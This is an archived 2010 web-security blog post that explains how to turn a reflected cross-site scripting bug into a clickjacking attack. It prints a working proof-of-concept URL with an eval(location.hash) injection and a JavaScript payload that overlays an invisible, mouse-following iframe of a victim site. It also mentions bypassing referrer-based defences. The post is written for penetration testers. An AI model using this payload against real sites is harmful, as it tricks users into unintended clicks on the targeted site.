Turning XSS into Clickjacking ha.ckers.org web application security lab

Turning XSS into Clickjacking ha.ckers.org web application security lab - Author not stated, ha.ckers.org.

- Published: date not stated
- Original: <http://ha.ckers.org/blog/20100614/turning-xss-into-clickjacking/>
- Preserved from: http://ha.ckers.org/blog/20100614/turning-xss-into-clickjacking/ (stored) on 2026-08-09
- Capture timestamp: 20101113142944
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Turning XSS into Clickjacking ha.ckers.org web application security lab

[[image: web application security scanner survey]](http://ha.ckers.org/blog/20071014/web-application-scanning-depth-statistics/) Paid Advertising [[image: web application security lab]] (http://ha.ckers.org/)

Turning XSS into Clickjacking

Those of us who do a lot of work in the security world have come to realize that there is a ton of cross site scripting (XSS) out there. 80% of dynamic sites (or more) suffer from it. But how many sites allow you to do HTML file uploads comparatively? It's a much smaller amount, and typically requires some sort of login before you're allowed to do it. Often times it's protected by login too, so it's a relatively small amount of people who could be impacted by any sort of HTML file upload. But that is precisely what's needed to mount a clickjacking attack (usually one or two pages). Either the attacker has to rent space in the cloud with a stolen credit card, or find some parasitic hosting somewhere.

That's when I got to thinking... how can you use any old generic reflected XSS attack to mount a clickjacking attack? A few hours later I had a prototype that worked. Here's how the attack would work. Let's say a parameter like "search" was vulnerable to reflected XSS. An attacker could do something like:

> http://example.com/?search=<script>eval(location.hash.slice(1))</script>

This is an old trick that basically says anything that falls into the anchor tag is what the attacker wants to run as the attack. Anchor tags are not sent to the server, they are only seen on the client. So this effectively turns the reflected XSS into a DOM based XSS, which leaves less of a signature on the server as well, incidentally. Then the attacker's anchor payload would look something like this (this works only in Firefox):

http://example.com/?search=<script>eval(location.hash.slice(1))
</script>#a=document.body.appendChild(document.createElement("iframe"));a.d=a.contentDocument;a.d.open().close();i=a.d.createElement("iframe");a.style.width=90;a.style.height=90;a.style.border=i.style.border=0;a.style.position=i.style.position="absolute";a.style.overflow=i.style.overflow="hidden";a.style.opacity=.3;i.style.width=100;i.style.height=100;i.style.left=-10;i.style.top=-10;i.src="http://www.victim.com/";a.d.body.appendChild(i);function followmouse(e)
{xcoord=ycoord=40;xcoord+=e.pageX-50;ycoord+=e.pageY-
50;a.style.left=xcoord;a.style.top=ycoord;}document.onmousemove=followmouse;

So you have a reflected XSS on example.com that instantiates a DOM based XSS which instantiates a clickjacking attack against victim.com. Obviously you'd need to modify this to actually fit the right coordinates and work in other browsers, but this could easily be used to leverage the attack in situations where an attacker might not be able to otherwise. For instance, if the clickjacking defenses only care about the referrer and the referrer is on the correct domain just a different sub-domain, that could be used to bypass it - and so on. Anyway, I thought some people might think this is interesting. Happy penetration testing!

This entry was posted on Monday, June 14th, 2010 at 11:27 am and is filed under Webappsec. You can leave a response as well.

Respond here or Discuss On the Forums

Your Name *

E-Mail (will be hidden) *

URL
